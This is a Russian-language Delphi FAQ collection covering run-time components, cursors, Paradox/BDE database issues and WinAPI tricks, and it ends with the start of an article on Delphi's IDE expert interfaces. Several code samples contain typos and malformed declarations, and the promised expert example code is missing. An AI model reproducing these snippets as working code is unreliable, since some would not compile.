      raise Exception.Create('Cannot read MyWave');

    // Здесь pData указывает на MyWave
    // Тепеpь можно, напpимеp, пpоигpать его (Win32):
    PlaySound('MyWave', 0, SND_MEMORY);
  finally
    FreeResource(hResource);
  end;
end;

  • Вернуться к содержанию
Вопрос:
Как правильно создавать компоненты в run-time? Что задавать в качестве параметра Owner при создании компоненты? Как обрабатывать события от созданных компонент, типа нажатий на кнопки?

Ответ:

Hачнем с создания.
Сущность свойства Owner в том, что владелец перед смертью уничтожает (через Free) принадлежащие ему объекты. Таким образом, все зависит от того, кому вы хотите доверить уничтожение созданных форм/компонентов. В частности, если вы сами будете этим заниматься, то AOwner может быть, например, nil.

Для того, чтобы созданный компонент появился на экране, надо указать его родителя, заполнив свойство Parent, например, NewButton.Parent := Form1;

Пример кода, обрабатывающего события от свежесозданных компонентов:

type
  TForm1 = class(TForm)
  { ... }
  private
    { эта процедура будет вызываться при нажатии на кнопку }
    procedure ButtonClicked(Sender : TObject);

  public
    { в этой процедуре происходит создание кнопки }
    procedure CreateButton;

  end;

{ ... }

procedure TForm1.CreateButton;
var
  btn : TButton;
begin
btn := TButton.Create(Self);  { Уничтожать кнопку будет форма }
btn.Parent := Self;           { Родителем кнопки будет форма }
btn.OnClick := ButtonClicked; { Процедура, которая будет исполняться при }
btn.Visible := true;          { нажатии на кнопку }
end;

  • Вернуться к содержанию
Вопрос:

Как сделать возможным передвижение формы если пользователь щелкнул в форму вне пространства заголовка?

Ответ:

В следующем примере показано как можно передвигать форму если пользователь "захватил" Client-пространство. Наиболее простое решение - "обмануть" Windows и Client-пространство выдать за заголовок окна.

unit DragMain;

interface

uses
  SysUtils, WinTypes, WinProcs,  Messages,
  Classes, Graphics, Controls, Forms, Dialogs, StdCrtls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    procedure ButtonClick(Sender: TObject);
  private
    procedure WMNCHitTest(var M: TWMNCHitTest);
                 message wm_NCCHitTest;
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1. WMNCHitTest(var M: TWMNCHitTest);

begin
  inherited;
  if M.Result = htClient then
    M.Result := htCaption;
end;

procedure TForm1.Button1Click(Sender: TObject);

begin
  Close;
end;

end.
  • Вернуться к содержанию
Вопрос:
Как создать и использовать новую форму курсора?

Ответ:

Для этого необходимо создать новый курсор(ы) в подходящем для этого редакторе ресурсов (например борландовский Resource Workshop). При этом надо обратить внимание на то что имена в редакторе ресурсов (особенно в том, который поставляется с Delphi) надо писать заглавными буквами. После этого "перед внутренним употреблением" (лучше всего в процедуре обработки события OnCreate главной формы) необходимо загрузить курсор(ы) из res-файла как указано ниже:

{$I CURSOR.RES}
Screen.Cursors[1] := LoadCursor(hInstance, 'CURSOR_1');
Button1.Cursor := 1;

Обратите внимание на то, что системные курсоры в Screen.Cursors начинаются с нуля и идут в минусовом направлении. Поэтому при создании новых курсоров лучше выбирать положительные числа (лучше не слишком большие :-)).
Более удобный вариант - это объявить постоянную (равную например 12):

const
   CUR_HAND = 12;

...
Screen.Cursors[CUR_HAND] := LoadCursor(hInstance, 'CURSOR_HAND');
Button1.Cursor := CUR_HAND;
  • Вернуться к содержанию
Вопрос:
Порядок, в котором обрабатываются события при загрузке формы.

Ответ:
OnCreate
OnShow
OnPaint
OnActivate
OnResize
OnPaint
    Ето может быть важно например для того чтобы координировать некоторые акции по управлению положением формы и т.п.

    Вернуться к содержанию
Вопрос:
Как через индекс обратиться к нескольким компонентам?

Ответ:
Чтобы найти и сделать видимыми, например, компоненты с именами от "Label1" и до "Label5" можно использовать следующий вариант:

for t := 1 to 5 do
  FindComponent('Label' + IntToStr(t)).Visible := TRUE;
    Вернуться к содержанию
Вопрос:
Как узнать, находится ли дискета в дисководе?

Ответ:

type
  TDriveState(DS_NO_DISK, DS_UNFORMATTED_DISK,
    DS_EMPTY_DISK, DS_DISK_WITH_FILES);

function DriveState(DrvLetter: Char): TDriveState;

var
  Mask: String[6];
  SearchRec: TSearchRec;
  oldMode: Cardinal;
  ReturnCode: Integer;

begin
  oldMode: = SetErrorMode(SEM_FAILCRITICALERRORS);
  Mask:= '?:\*.*';
  Mask[1] := DrvLetter;
  {$I-}  { отключить обработку исключительных ситуаций }
  ReturnCode := FindFirst(Mask, faAnyfile, SearchRec);
  FindClose(SearchRec);

  {$I+}
  case ReturnCode of
    { как минимум один файл был найден }
    0: Result := DS_DISK_WITH_FILES;
    { файлов не найдено и дискета в порядке }
    -18: Result := DS_EMPTY_DISK;
    { DS_NO_DISK для DOS, ERROR_NOT_READY для WinNT,
                                ERROR_PATH_NOT_FOUND для Win 3.1 }
    -21, -3: Result := DS_NO_DISK;
  else
    { дискета лежит в дисководе но она не форматировнная }
    Result := DS_UNFORMATTED_DISK;
  end;
  SetErrorMode(oldMode);
end; { DriveState }
    Вернуться к содержанию
Вопрос:
Как выяснить дату последнего изменения файла?

Ответ:
Для выяснения даты последнего изменения файла можно воспользоваться следующей функцией:

function GetFileDate(FileName: string): string;

var
  FHandle: Integer;

begin
  FHandle := FileOpen(FileName, 0);
  try
    Result := DateTimeToStr(FileDateToDateTime(FileGetDate(FHandle)));
  finally
    FileClose(FHandle);
  end;
end;
Вернуться к содержанию


Вопросы программирования баз данных на Borland Delphi

После работы программы не сохраняются изменения в базе Paradox. Что делать?
Как мне упаковать Paradox или DBF таблицу?
Почему при добавлении/изменении записей в некоторых запросах возникает ошибка Cannot modify a read-only dataset?
Database Desktop показывает содержимое таблиц шрифтом без русских букв. Что делать?
Hе получается вставить в таблицу записи со строками на русском языке -- некоторые буквы меняются на другие -- что делать?
Я переписал готовую программу на машину заказчика, а она там не запускается -- говорит "Error initializing database engine". Что делать?
Помню еще один хороший частый вопрос про коннект к Personal Oracle, но не помню ответа на него... Hапомните?
Hе получается открыть таблицу, созданную в InterBase с DEFAULT CHARACTER SET WIN1251. Оно говорит, что "WIN1251 undefined".
У меня в программе происходит очень большой запрос -- в районе нескольких тысяч или десятков тысяч записей. Соответственно большой сетевой трафик, программа тормозит и так далее. Можно ли как-нибудь оптимизировать это все?
Как создать таблицу базы данных, не используя Database Desktop?
Подскажите хорошую литературу по базам данных.

Вопрос:
После работы программы не сохраняются изменения в базе Paradox. Что делать?

Ответ:

Где-нибудь при закрытии главной формы выполните нижеследующие куски кода:

Для Delphi 3:
  Table.FlushBuffers при открытой таблице.

Для прочих:
  Table.Open;
  Check(dbiSaveChanges(Table.Handle));
  Table.Close;

Чтобы сбросить кэш, можно еще в после этого сделать
asm
  mov  ah, $0D
  int  $21
end;
  • Наверх к содержанию

Вопрос:
Как мне упаковать Paradox или DBF таблицу?

Ответ:

Самый простой метод -- воспользоваться функцией PackTable из rxLib. В версии 2.32 и, наверное, раньше, есть ошибка в процедуре PackTable: измените кусок:

with tblDesc do begin
  { ... }
  bPack := true; { добавьте эту строчку для исправления ошибки и }
                 { перекомпилируйте библиотеку }
end;

(JB): Для перегенерации индексов:
  Table1.Exclusive := True;
  Table1.Open;
  Check(dbiRegenIndexes(Table1.Handle);
  • Наверх к содержанию

Вопрос:
Почему при добавлении/изменении записей в некоторых запросах возникает ошибка Cannot modify a read-only dataset?

Ответ:

Во-первых, должно быть RequestLive := True; во-вторых, чтобы запрос был редактируемым, он должен удовлетворять требованиям, изложенным в хелпе при поиске по "live result sets"

Наверх к содержанию

Вопрос:
Database Desktop показывает содержимое таблиц шрифтом без русских букв. Что делать?

Ответ:

Для DBD 5.0 в файл c:\windows\pdoxwin.ini вставить в секцию

[Properties]
SystemFont=Arial Cyr
  • Если файла не существует, то его надо создать, если секции не существует, то ее надо создать.
    Для DBD 7.0 нужно испpавить pеестp: ключ
    HKCU\Software\Borland\DBD\7.0\Preferences\Properties\SystemFont="Arial Cyr"

    Наверх к содержанию

Вопрос:
Hе получается вставить в таблицу записи со строками на русском языке -- некоторые буквы меняются на другие -- что делать?

Ответ:

В Database Desktop поставьте правильный Language Driver у таблицы, например, Pdox ANSI Cyrr.

Наверх к содержанию

Вопрос:

Я переписал готовую программу на машину заказчика, а она там не запускается -- говорит "Error initializing database engine". Что делать?

Ответ:
Прочитать X:\DELPHI\DOC\deploy.txt.

Наверх к содержанию

Вопрос:
Помню еще один хороший частый вопрос про коннект к Personal Oracle, но не помню ответа на него... Hапомните?

Ответ:

user/password@2:
Это так для Oracle SQL Plus, и более других его утилит. А в BDE надо оставить все как для коннекта к сетевому серверу, (протокол TNS, имя юзера, кодировку, интерфейсную DLL) только вместо имени сервера написать "2:". Сие годится и для случая когда на одной машине и сетевой сервер и приложение.

Наверх к содержанию

Вопрос:
Hе получается открыть таблицу, созданную в InterBase с DEFAULT CHARACTER SET WIN1251. Оно говорит, что "WIN1251 undefined".

Ответ:

Ставьте Interbase в каталог с путем, соответствующим DOS-овским соглашениям (8:3).

Наверх к содержанию

Вопрос:
У меня в программе происходит очень большой запрос -- в районе нескольких тысяч или десятков тысяч записей. Соответственно большой сетевой трафик, программа тормозит и так далее. Можно ли как-нибудь оптимизировать это все?

Ответ:

Постарайтесь изменить логику приложения так, чтобы таких запросов не возникало. Обычно подобные вещи свидетельствуют о несколько неверной архитектуре приложения.

Наверх к содержанию

Вопрос:
Как создать таблицу базы данных, не используя Database Desktop?

Ответ:
Положите компонент TTable на форму и попробуйте указанную ниже процедуру.
procedure TForm1.CreateMyTable(NameFile: string);
begin
  with Table1 do
  begin
    Active := False;
    DatabaseName := '';
    TableName := NameFile;
    TableType := ttDefault;
    with FieldDefs do
    begin
      Clear;
      Add('EmpNo', ftInteger, 0, False);
      Add('LastName', ftString, 20, False);
      Add('FirstName', ftString, 15, False);
      Add('PhoneExt', ftString, 4, False);
      Add('HireDate', ftDateTime, 0, False);
      Add('Salary', ftFloat, 0, False);
    end;
    with IndexDefs do
    begin
      Clear;
      Add('', 'EmpNo', [ixPrimary, ixUnique]);
      Add('ByName', 'LastName;FirstName', [ixCaseInsensitive]);
    end;
    CreateTable;
  Free;
  end;
end;
  • Наверх к содержанию

Вопрос:
Подскажите хорошую литературу по базам данных.

Ответ:
1. Мартин Грубер "Понимание SQL" (highly recommended)
2. Мартин Грубер "SQL: справочное руководство" (recommended)

Наверх к содержанию


Выборочный FAQ по некоторым интересным вопросам

Каким образом можно узнать какая нажата кнопка на клавиатуре (мыши) вне зависимости от того, какое приложение в данный момент активно?
Как мне получить путь к запущенной программе из нее самой?
Как в Delphi определить, где установлена Windows?
Каким образом можно убрать приложение из Task Bar?
Каким образом можно убрать приложение из Task List? (Только для Win'9x)
Каким образом можно спрятать приложение от показа при нажатии Alt+Tab?
Как можно сделать форму прозрачной?
Как сделать произвольную (непрямоугольную) форму?
Как создать файлы с уникальными именами?
Как программно переключать раскладку клавиатуры?
Как сделать невидимой главную форму?
Как запустить создание письма по указанному адресу?
Как запустить браузер по http-адресу?
Как рисовать прямо на экране?
Как увеличить в RichEdit размер редактируемого файла?
В каком порядке происходят события при создании и показе окна?
Если приложение долго выполняет какой-то цикл, как сделать так, чтобы остальные приложения не подвисали?
Как перекодировать строки из Win(1251) кодовой страницы в Dos(866) кодовую страницу и обратно?
Как использовать анимированные курсоры в программе?
Как сделать так, чтобы по Alt-F4 форма не закрывалась, а выдавала запрос на сохранение?
Как выключить/включить PC Speaker?
Как скопировать файл?
Как инсталлировать на время работы программы свои шрифты?
Как узнать текущее разрешение экрана?
Как встроить некий ресурс, например, графику в исполняемый модуль?
Как программно создать ярлык?
Как быстро выводить графику? (А то Canvas очень медленно работает)
Как перетаскивать форму не только за Caption, но и за любое другое место?
Как лучше сделать, если необходимо запустить внешний процесс и подождать, пока он отработает?
Каким образом можно узнать какая нажата кнопка на клавиатуре (мыши) вне зависимости от того, какое приложение в данный момент активно?
GetAsyncKeyState. И для клавиатуpы, и для мыши.
Как мне получить путь к запущенной программе из нее самой?
Application.EXEName
Как в Delphi определить, где установлена Windows?
GetWindowsDirectory
Пример:
  var  Windir  : String;
       WindirP : PChar;

                     .  .  .  .  .
       WinDirP := StrAlloc(MAX_PATH);

       Res := GetWindowsDirectory(WinDirP, MAX_PATH);

       if Res > 0 then WinDir := StrPas(WinDirP);

                     .  .  .  .  .
Каким образом можно убрать приложение из Task Bar?
ShowWindow(Application.Handle,SW_HIDE);
Каким образом можно убрать приложение из Task List? (Только для Win'9x)

  Пример:

  unit hideprg;
  interface
  procedure TryToHide;
  implementation
  procedure RegisterServiceProcess; external 'kernel32.dll' name
                                             'RegisterServiceProcess';
  procedure TryToHide;assembler;
  asm
    push 1
    push 0
    call RegisterServiceProcess;
  end;
Каким образом можно спрятать приложение от показа при нажатии Alt+Tab?
Пример (работает только в Win'95):

  var  WnHnd   : Integer;
  . . . .
  WnHnd := GetWindowLong(Application.Handle, GWL_EXSTYLE);
  WnHnd := WnHnd or WS_EX_TOOLWINDOW;
  SetWindowLong(Application.Handle, GWL_EXSTYLE, WnHnd);
  . . . .
Как можно сделать форму прозрачной?
Для этого необходимо пеpеопpеделить обpаботчик события OnCreate:
  procedure TForm1.FormCreate(Sender: TObject);
  begin
     Brush.Style:=bsClear;
  end;
Как сделать произвольную (непрямоугольную) форму?
Win32 (Windows'95 or Windows NT 4.0 or above).
Достаточно создать регион нужной формы и вызвать SetWindowRgn

   HRGN rgn := CreateEllipticRgn( 10,10,100,100 );
   SetWindowRgn( hMyWnd,rgn );  // Вот и будет круглое окно
При этом регион этот теперь используется Windows и будет уничтожен при закрытии окна.

  Вот, например:
  ........................................................
  procedure TForm1.FormCreate(Sender: TObject);
  const W=36*pi/180;
  var   R,R1,R2: HRgn; X,Y,i:integer;
     function S(a:integer;R:integer):integer;
     begin
       Result:=round(R*sin(W*a));
     end;
     function C(a:integer;R:integer):integer;
     begin
       Result:=round(R*cos(W*a));
     end;
     function GetStarReg(X,Y,R:integer):HRGN;
     var  P : array [0..4] of TPoint;
     begin
        P[0] := Point(X, Y-R);
        P[1] := Point(X-S(4,R), Y-C(4,R));
        P[2] := Point(X-S(8,R), Y-C(8,R));
        P[3] := Point(X-S(2,R), Y-C(2,R));
        P[4] := Point(X-S(6,R), Y-C(6,R));
        Result := CreatePolygonRgn(P, 5, WINDING);
     end;
  begin
     X:=Width div 2;
     Y:=Height div 2;
     R:=GetStarReg(X,Y,100);
     i:=1;
     repeat
       R1:=GetStarReg(X-S(i,120),Y-C(i,110),40);
       CombineRgn(R,R,R1,RGN_OR);
       inc(i,2);
     until i>9;
     R1:=GetStarReg(X,Y,30);
     CombineRgn(R,R,R1,RGN_DIFF);
     R1:=CreateEllipticRgn(3,3,Width-6,Height-6);
     R2:=CreateEllipticRgn(20,10,Width-20,Height-10);
     CombineRgn(R1,R1,R2,RGN_DIFF);
     CombineRgn(R,R,R1,RGN_OR);
     SetWindowRgn(Handle, R, True);
  end;
  ........................................................
Как создать файлы с уникальными именами?
Здесь удобнее всего использовать имя, состоящее из даты и времени, напри- мер: 2310566160798 для 23:10:56 16-07-98. Если перевести это число в 32-чную систему счисления, получим искомые восемь символов имени файла. Это хорошо использовать, если программа создает много файлов, которые потом будут ис- пользоваться. Если же нужно создать несколько временных файлов, то лучше воспользоваться фyнкцией GetTempFileName.
Как программно переключать раскладку клавиатуры?
LoadKeyboardLayout('00000409', KLF_ACTIVATE); // английский
LoadKeyboardLayout('00000419', KLF_ACTIVATE); // русский
Как сделать невидимой главную форму?
Hаписать Application.ShowMainForm := False в файле пpоекта.
Как запустить создание письма по указанному адресу?
Как запустить браузер по http-адресу?
Сначала необходимо написать в разделе uses ShellAPI.
E-mail:
ShellExecute(Application.Handle,'open','mailto:towho@mysite.com',nil,nil,0);
Страничка:
ShellExecute(Application.Handle,'open','http://mysite.com,nil,nil,0);
Как рисовать прямо на экране?

  ........................................................
  Procedure DrawOnScreen;
  Var DC:HDC;
      DesktopCanvas:TCanvas;
  begin
    DC:=GetDC(0);   // получили DC экрана
    try
       DesktopCanvas:=TCanvas.Create;
       DesktopCanvas.Handle:=DC;
       ..................
       // здесь рисуем на Canvas экрана
       ..................
    finally
      ReleaseDC(0,DC);
      DesktopCanvas.Free;
    end;
  end;
  ........................................................
Как увеличить в RichEdit размер редактируемого файла?
RichEdit1.Perform(EM_LIMITTEXT, нужный размер , 0);
Перед каждым открытием файла это действие необходимо повторять.
В каком порядке происходят события при создании и показе окна?
OnCreate, OnShow, OnPaint, OnActivate, OnResize и снова OnPaint.
Если приложение долго выполняет какой-то цикл, как сделать так, чтобы остальные приложения не подвисали?
1. Вставить в тело цикла: Application.ProcessMessages
2. Запустить этот цикл как отдельный процесс, используя класс TThread.
Как перекодировать строки из Win(1251) кодовой страницы в Dos(866) кодовую страницу и обратно?
CharToOEM/OEMToChar и CharToOEMBuff/OEMToCharBuff.
Как использовать анимированные курсоры в программе?
  Пример формы, использующей анимированный курсор:
  ........................................................
  procedure TForm1.Button1Click(Sender: TObject);
  var
    h : THandle;
  begin
    h := LoadImage(0,'C:\TheWall\Magic.ani',
      IMAGE_CURSOR, 0, 0,
      LR_DEFAULTSIZE or LR_LOADFROMFILE);
    if h = 0 then ShowMessage('Cursor not loaded')
    else
    begin
      Screen.Cursors[1] := h;
      Form1.Cursor := 1;
    end;
  end;
  ... ..... ...... ....... ....... ...... ..
Как сделать так, чтобы по Alt-F4 форма не закрывалась, а выдавала запрос на сохранение?
Обрабатывать событие OnCloseQuery
Как выключить/включить PC Speaker?
Выключить:
  SyStemParametersInfo(SPI_SETBEEP,0,nil,SPIF_UPDATEINIFILE);

Включить:
  SyStemParametersInfo(SPI_SETBEEP,1,nil,SPIF_UPDATEINIFILE);
Как скопировать файл?
Эта процедура позволяет скопиpовать как весь файл пpи From и Count = 0, так и пpоизвольный его кусок.
  ........................................................
  function CopyFile( InFile,OutFile: String; From,Count: Longint ): Longint;
  var
    InFS,OutFS: TFileStream;
  begin
    InFS  := TFileStream.Create( InFile,  fmOpenRead );
    OutFS := TFileStream.Create( OutFile, fmCreate   );
    InFS.Seek( From, soFromBeginning );
    Result := OutFS.CopyFrom( InFS, Count );
    InFS.Free;
    OutFS.Free;
  end;
  ........................................................
Как инсталлировать на время работы программы свои шрифты?
  Добавить фонт (.fon, .fot, .fnt, .ttf) в систему можно след. образом:
  ........................................................
  {$IFDEF WIN32}
  AddFontResource( PChar( my_font_PathName { AnsiString } ) );
  {$ELSE}
  var
    ss  : array [ 0..255 ] of Char;

  AddFontResource ( StrPCopy ( ss, my_font_PathName ));
  {$ENDIF}
  SendMessage ( HWND_BROADCAST, WM_FONTCHANGE, 0, 0 );
  ........................................................

  Убрать его по окончании работы:
  ........................................................
  {$IFDEF WIN32}
  RemoveFontResource ( PChar(my_font_PathName) );
  {$ELSE}
  RemoveFontResource ( StrPCopy ( ss, my_font_PathName ));
  {$ENDIF}
  SendMessage ( HWND_BROADCAST, WM_FONTCHANGE, 0, 0 );
  ........................................................

  Где my_font_PathName - полный путь к файлу со шрифтом.
Как узнать текущее разрешение экрана?
Screen.Width, Screen.Height
Как в TMemo определить номер строки, в которой находится курсор и его местоположение в строке?
  ........................................................
  var X,Y: LongInt;

  Y:=Memo1.Perform(EM_LINEFROMCHAR, Memo1.SelStart, 0);
  X:=Memo1.Parform(EM_LINEINDEX, Y, 0);
  inc(Y);
  X:=Memo1.SelStart-X+1;
  ........................................................
Есть программа на Delphi, котоpая отображает какой-то html. В html используется gif-файл. Как в Delphi-пpоекте указать, чтобы этот gif находился в exe как некий кусок кода. А когда надо будет, записать его обратно в gif-файл без изменений, выковырнув из exe? Можно, используя RxLib. После его установки в меню View появится пунктик Project Resources. Hужно выбрать Project Resources->New->User Data и добавить нужный файл. В данном случае ресурс был назван "RCDATA_1".
Если RxLib нет, то нужно создать файл описания ресурсов:

=== Begin gifs.rc ===
mygif rcdata "имя_gif-файла.gif"
mygif1 rcdata "RCDATA_1"
=== End dots.rc ===
Потом скомпилировать его командой brcc32 gifs.rc и получить gifs.res В начало модуля добавь строчку {$R gifs.res}
В своей программе необходимо написать:
var
  rs     : TResourceStream;
  a      : Pointer;
begin
  rs:=TResourceStream.Create(hinstance,'RCDATA_1',RT_RCDATA);
  try
    GetMem(a,rs.size);
    rs.Read(a^,rs.size);  {Теперь a - динамический указатель на код}

    { Здесь делается все, что необходимо с кодом, используя указатель a }

    FreeMem(a);
  finally
    rs.Free;
  end;
end;

А можно и так, если необходимо записать ресурс в файл:
var
  rs     : TResourceStream;
  fs     : TFileStream;
begin
   rs:=TResourceStream.Create(hInstance, 'mygif', RT_RCDATA);
   fs:=TFileStream.Create('имя_gif-файла.gif', fmCreate);
   try
     fs.CopyFrom(rs, rs.Size);
   finally
     fs.Free;
     rs.Free;
   end;
end;
Как программно создать ярлык?
  ........................................................
  uses ShlObj, ComObj, ActiveX;

  procedure CreateLink(const PathObj, PathLink, Desc, Param: string);
  var
    IObject: IUnknown;
    SLink: IShellLink;
    PFile: IPersistFile;
  begin
    IObject := CreateComObject(CLSID_ShellLink);
    SLink := IObject as IShellLink;
    PFile := IObject as IPersistFile;
    with SLink do begin
      SetArguments(PChar(Param));
      SetDescription(PChar(Desc));
      SetPath(PChar(PathObj));
    end;
    PFile.Save(PWChar(WideString(PathLink)), FALSE);
  end;
  ........................................................
Как быстро выводить графику? (А то Canvas очень медленно работает).
  Вот пример заполнения формами точками случайного цвета.
  ........................................................
  type
    TRGB=record
      b,g,r:byte;
    end;
    ARGB=array [0..1] of TRGB;
    PARGB=^ARGB;

  var
    b:TBitMap;

  procedure TForm1.FormCreate(sender:TObject);
  begin
    b:=TBitMap.Create;
    b.pixelformat:=pf24bit;
    b.width:=Clientwidth;
    b.height:=Clientheight;
  end;

  procedure TForm1.Tim1OnTimer(sender:TObject);
  Var
    p:PARGB;
    x,y:integer;
  begin
    for y:=0 to b.height-1 do
    begin
      p:=b.scanline[y];
      for x:=0 to b.width-1 do
      begin
        p[x].r:=random(256);
        p[x].g:=random(256);
        p[x].b:=random(256);
      end;
    end;
    canvas.draw(0,0,b);
  end;

  procedure TForm1.FormDestroy(sender:TObject);
  begin
    b.free;
  end;
  ........................................................
Как перетаскивать форму не только за Caption, но и за любое другое место?
     ........................................................
       TForm1 = class(TForm)
       ...
       private
       ...
         procedure WMNCHitTest(var M: TWMNCHitTest); message wm_NCHitTest;
       ...
       end;

   ...
   procedure TForm1.WMNCHitTest(var M: TWMNCHitTest);
   begin
     inherited;                    { вызов унаследованного обpаботчика      }
     if  M.Result = htClient then  { Мышь сидит на окне?                    }
       M.Result := htCaption;      { Если да - то пусть Windows думает, что }
                                   { мышь на caption bar                    }
   end;
  ........................................................
Как лучше сделать, если необходимо запустить внешний процесс и подождать, пока он отработает?

procedure TForm1.Button1Click(Sender: TObject);
var si:STARTUPINFO;
    pi:PROCESS_INFORMATION;
    cmdline:string;
begin
    ZeroMemory(@si,sizeof(si));
    si.cb:=SizeOf(si);
    cmdline:='c:\command.com';
    if not CreateProcess( nil, // No module name (use command line).
        PChar(cmdline),  // Command line.
        nil,             // Process handle not inheritable.
        nil,             // Thread handle not inheritable.
        False,           // Set handle inheritance to FALSE.
        0,               // No creation flags.
        nil,             // Use parent's environment block.
        nil,             // Use parent's starting directory.
        si,              // Pointer to STARTUPINFO structure.
        pi )             // Pointer to PROCESS_INFORMATION structure.
       then
        begin
         ShowMessage( 'CreateProcess failed.' );
         Exit;
        end;
    WaitForSingleObject( pi.hProcess, INFINITE );
    CloseHandle( pi.hProcess );
    CloseHandle( pi.hThread );
    ShowMessage('Done !');
end;


Сборник вопросов и ответов

Неофициальный F.A.Q. эхо-конференции RU.DELPHI

Выборочный FAQ по некоторым интересным вопросам. Часть I

Выборочный FAQ по некоторым интересным вопросам. Часть II

Выборочный FAQ по некоторым интересным вопросам. Часть III


Использование открытых интерфейсов среды программирования Delphi

Одной и наиболее сильных сторон среды программирования Delphi является ее открытая архитектура, благодаря которой Delphi допускает своего рода метапрограммирование, позволяя “программировать среду программирования”. Такой подход переводит Delphi на качественно новый уровень систем разработки приложений и позволяет встраивать в этот продукт дополнительные инструментальные средства, поддерживающие практически все этапы создания прикладных систем. Столь широкий спектр возможностей открывается благодаря реализованной в Delphi концепции так называемых открытых интерфейсов, являющихся связующим звеном между IDE (Integrated Development Environment) и внешними инструментами. Данная статья посвящена открытым интерфейсам Delphi и представляет собой обзор представляемых ими возможностей.

В Delphi определены шесть открытых интерфейсов: Tool Interface, Design Interface, Expert Interface, File Interface, Edit Interface и Version Control Interface. Вряд ли в рамках данной статьи нам удалось бы детально осветить и проиллюстрировать возможности каждого из них. Более основательно разобраться в рассматриваемых вопросах вам помогут исходные тексты Delphi, благо разработчики снабдили их развернутыми комментариями. Объявления классов, представляющих открытые интерфейсы, содержатся в соответствующих модулях в каталоге ...\Delphi\Source\ToolsAPI.

Design Interface (модуль DsgnIntf.pas) предоставляет средства для создания редакторов свойств и редакторов компонентов. Редакторы свойств и компонентов – это тема, достойная отдельного разговора, поэтому напомним лишь, что редактор свойства контролирует поведение Инспектора Объектов при попытке изменить значение соответствующего свойства, а редактор компонента активизируется при двойном нажатии левой кнопки мыши на изображении помещенного на форму компонента.

Version Control Interface (модуль VCSIntf.pas) предназначен для создания систем контроля версий. Начиная с версии 2.0, Delphi поддерживает интегрированную систему контроля версий Intersolv PVCS, поэтому в большинстве случаев в разработке собственной системы нет необходимости. По этой причине рассмотрение Version Control Interface мы также опустим.

File Interface (модуль FileIntf.pas) позволяет переопределить рабочую файловую систему IDE, что дает возможность выбора собственного способа хранения файлов (в Memo-полях на сервере БД, например).

Edit Interface (модуль EditIntf.pas) предоставляет доступ к буферу исходных текстов, что позволяет проводить анализ кода и выполнять его генерацию, определять и изменять позицию курсора в окне редактора кода, а также управлять синтаксическим выделением исходного текста. Специальные классы предоставляют интерфейсы к помещенным на форму компонентам (определение типа компонента, получение ссылок на родительский и дочерние компоненты, доступ к свойствам, передача фокуса, удаление и т.д.), к самой форме и к ресурсному файлу проекта. Также Edit Interface позволяет идентифицировать так называемые модульные нотификаторы, определяющие реакцию на такие события, как изменение исходного текста модуля, модификация формы, переименование компонента, сохранение, переименование или удаление модуля, изменение ресурсного файла проекта и т. д.

Tool Interface (модуль ToolIntf.pas) предоставляет разработчикам средства для получения общей информации о состоянии IDE и выполнения таких действий, как открытие, сохранение и закрытие проектов и отдельных файлов, создание модуля, получение информации о текущем проекте (число модулей и форм, их имена и т. д.), регистрация файловой системы, организация интерфейсов к отдельным модулям и т.д. В дополнение к модульным нотификаторам Tool Interface определяет add-in нотификаторы, уведомляющие о таких событиях, как открытие/закрытие файлов и проектов, загрузка и сохранение desktop-файла проекта, добавление/исключение модулей проекта, инсталляция/деинсталляция пакетов, компиляция проекта, причем в отличие от модульных нотификаторов add-in нотификаторы позволяют отменить выполнение некоторых событий. Кроме того, Tool Interface предоставляет средства доступа к главному меню IDE Delphi, позволяя встраивать в него дополнительные пункты.

Expert Interface (модуль ExptIntf.pas) представляет собой основу для создания экспертов — программных модулей, встраиваемых в IDE c целью расширения ее функциональности. В качестве примера эксперта можно привести входящий в Delphi Database Form Wizard, выполняющий генерацию формы для просмотра и изменения содержимого таблицы БД.

Эксперты бывают нескольких типов (стилей):

Стиль | Описание
esStandard | Для каждого эксперта такого стиля IDE добавляет пункт меню Tools/..., при выборе которого эксперт активизируется (IDE вызывает его метод Execute)
esForm esProject | IDE рассматривает эксперты данного стиля как шаблоны форм/проектов и помещает активизирующие их изображения в галерею Object Repository.
esAddIn | Эксперты подобного стиля обеспечивают собственный интерфейс с IDE

Класс каждого эксперта является потомком базового класса TIExpert, содержащего серию абстрактных методов, которые необходимо перекрыть в порождаемом классе:

Метод | Описание
GetName | Должен возвращать имя эксперта
GetAuthor | Должен возвращать имя автора эксперта. Это имя отображается в Object Repository
GetComment | Должен возвращать комментарий (1-2 предложения), поясняющий назначение эксперта. Используется в Object Repository
GetPage | Должен возвращать название страницы Object Repository, на которую IDE поместит соответствующее эксперту изображение
GetGlyph | Должен возвращать дескриптор (HICON, в Delphi 1.0 – HBITMAP) соответствующего эксперту изображения в ObjectRepository
GetStyle | Должен возвращать константу, соответствующую стилю эксперта (esStandard/esForm/esProject/esAddIn)
GetState | Если возвращаемое множество содержит константу esChecked, IDE пометит соответствующий эксперту пункт меню “галочкой”, а если множество содержит константу esEnabled, то IDE сделает этот пункт меню доступным для выбора
GetIDString | Должен возвращать строку – идентификатор эксперта, уникальную среди всех установленных экспертов. По соглашению, формат этой строки таков: Имя_Компании.Назначение_эксперта, например: Borland.WidgetExpert
GetMenuText | Должен возвращать текст, отображаемый в пункте меню эксперта. Этот метод вызывается каждый раз, когда раскрывается родительское меню, что позволяет сделать пункт меню контекстно-чувствительным
Execute | Вызывается при вызове эксперта через меню или Object Repository (в зависимости от стиля)

Набор методов, подлежащих перекрытию, зависит от стиля эксперта:

Метод | esStandard | esForm | esProject | esAddIn
GetName | + | + | + | +
GetAuthor |  | + | + |
GetComment |  | + | + |
GetPage |  | + | + |
GetGlyph |  | + | + |
GetStyle | + | + | + | +
GetState | + |  |  |
GetIDString | + | + | + | +
GetMenuText | + |  |  |
Execute | + | + | + |

Определив класс эксперта, необходимо позаботиться о том, чтобы Delphi “узнала” о нашем эксперте. Для этого его нужно зарегистрировать посредством вызова процедуры RegisterLibraryExpert, передав ей в качестве параметра экземпляр класса эксперта.

В качестве иллюстрации создадим простой эксперт в стиле esStandard, который при выборе соответствующего ему пункта меню Delphi выводит сообщение о том, что он запущен. Как видно из вышеприведенной таблицы, стиль esStandard обязывает перекрыть шесть методов:

Для того чтобы эксперт был “приведен в действие”, необходимо выбрать пункт меню Component/Install Component ... , выбрать в диалоге Browse модуль, содержащий эксперт (в нашем случае exmpl_01.pas), нажать ОК, и после компиляции пакета dclusr30.dpk в главном меню Delphi в разделе Help должен появиться пункт Simple Expert 1, при выборе которого появляется информационное сообщение “Standard Expert started!”.

